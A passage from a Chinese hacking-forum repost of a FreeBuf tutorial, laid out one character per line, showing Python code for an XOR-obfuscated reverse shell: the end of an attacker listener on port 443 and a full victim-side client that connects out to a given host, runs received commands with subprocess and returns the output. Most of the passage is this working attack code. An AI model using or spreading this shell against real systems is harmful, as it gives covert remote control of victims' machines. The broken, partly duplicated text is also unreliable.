n
p
o
r
t
4
4
3
.
.
.
"
(
c
l
i
e
n
t
,
(
i
p
,
p
o
r
t
)
)
=
s
.
a
c
c
e
p
t
(
)
p
r
i
n
t
"
R
e
c
i
v
e
d
c
o
n
n
e
c
t
t
i
o
n
f
r
o
m
:
"
,
i
p
w
h
i
l
e
T
r
u
e
:
c
o
m
m
a
n
d
=
r
a
w
_
i
n
p
u
t
(
'
~
$
'
)
e
n
c
o
d
e
=
b
y
t
e
a
r
r
a
y
(
c
o
m
m
a
n
d
)
f
o
r
i
i
n
r
a
n
g
e
(
l
e
n
(
e
n
c
o
d
e
)
)
:
e
n
c
o
d
e
[
i
]
^
=
0
x
4
1
c
l
i
e
n
t
.
s
e
n
d
(
e
n
c
o
d
e
)
e
n
_
d
a
t
a
=
c
l
i
e
n
t
.
r
e
c
v
(
2
0
4
8
)
d
e
c
o
d
e
=
b
y
t
e
a
r
r
a
y
(
e
n
_
d
a
t
a
)
f
o
r
i
i
n
r
a
n
g
e
(
l
e
n
(
d
e
c
o
d
e
)
)
:
d
e
c
o
d
e
[
i
]
^
=
0
x
4
1
p
r
i
n
t
d
e
c
o
d
e
c
l
i
e
n
t
.
c
l
o
s
e
(
)
s
.
c
l
o
s
e
(
)
“
受
害
者
”
端
,
反
向
s
h
e
l
l
,
与
“
攻
击
端
”
进
行
链
接
,
接
受
并
执
行
指
令
,
并
发
送
回
显
:
#
!
/
u
s
r
/
b
i
n
/
p
y
t
h
o
n
i
m
p
o
r
t
s
o
c
k
e
t
,
s
u
b
p
r
o
c
e
s
s
,
s
y
s
R
H
O
S
T
=
s
y
s
.
a
r
g
v
[
1
]
R
P
O
R
T
=
4
4
3
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
s
.
c
o
n
n
e
c
t
(
(
R
H
O
S
T
,
R
P
O
R
T
)
)
w
h
i
l
e
T
r
u
e
:
#
r
e
c
e
i
v
e
X
O
R
e
n
c
o
d
e
d
d
a
t
a
f
r
o
m
n
e
t
w
o
r
k
s
o
c
k
e
t
d
a
t
a
=
s
.
r
e
c
v
(
1
0
2
4
)
#
X
O
R
t
h
e
d
a
t
a
a
g
a
i
n
w
i
t
h
a
'
x
4
1
'
t
o
g
e
t
b
a
c
k
t
o
n
o
r
m
a
l
d
a
t
a
e
n
_
d
a
t
a
=
b
y
t
e
a
r
r
a
y
(
d
a
t
a
)
f
o
r
i
i
n
r
a
n
g
e
(
l
e
n
(
e
n
_
d
a
t
a
)
)
:
e
n
_
d
a
t
a
[
i
]
^
=
0
x
4
1
#
E
x
e
c
u
t
e
t
h
e
d
e
c
o
d
e
d
a
t
a
a
s
a
c
o
m
m
a
n
d
.
#
T
h
e
s
u
b
p
r
o
c
e
s
s
m
o
d
u
l
e
i
s
g
r
e
a
t
b
e
c
a
u
s
e
w
e
c
a
n
P
I
P
E
S
T
D
O
U
T
/
S
T
D
E
R
R
/
S
T
D
I
N
t
o
a
v
a
r
i
a
b
l
e
c
o
m
m
=
s
u
b
p
r
o
c
e
s
s
.
P
o
p
e
n
(
s
t
r
(
e
n
_
d
a
t
a
)
,
s
h
e
l
l
=
T
r
u
e
,
s
t
d
o
u
t
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
,
s
t
d
e
r
r
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
,
s
t
d
i
n
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
)
c
o
m
m
.
w
a
i
t
(
)
S
T
D
O
U
T
,
S
T
D
E
R
R
=
c
o
m
m
.
c
o
m
m
u
n
i
c
a
t
e
(
)
p
r
i
n
t
S
T
D
E
R
R
#
E
n
c
o
d
e
t
h
e
o
u
t
p
u
t
a
n
d
s
e
n
d
t
o
R
H
O
S
T
e
n
_
S
T
D
O
U
T
=
b
y
t
e
a
r
r
a
y
(
S
T
D
O
U
T
)
f
o
r
i
i
n
r
a
n
g
e
(
l
e
n
(
e
n
_
S
T
D
O
U
T
)
)
:
e
n
_
S
T
D
O
U
T
[
i
]
^
=
0
x
4
1
s
.
s
e
n
d
(
e
n
_
S
T
D
O
U
T
)
s
.
c
l
o
s
e
(
)
效
果
如
图
:
注
:
修
改
了
原
文
中
的
代
码
,
增
加
了
一
句
注
:
修
改
了
原
文
中
的
代
码
,
增
加
了
一
句
“
c
o
m
m
.
w
a
i
t
(
)
“
。
。
下
期
继
续
~
下
期
继
续
~
[
本
文
资
料
来
源
:
本
文
资
料
来
源
:
p
r
i
m
a
l
s
e
c
u
r
i
t
y
,
,
F
r
e
e
B
u
f
黑
客
与
极
客
(
黑
客
与
极
客
(
F
r
e
e
B
u
f
.
c
o
m
)
专
栏
文
章
,
未
经
许
可
禁
止
转
载
)
专
栏
文
章
,
未
经
许
可
禁
止
转
载
]
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页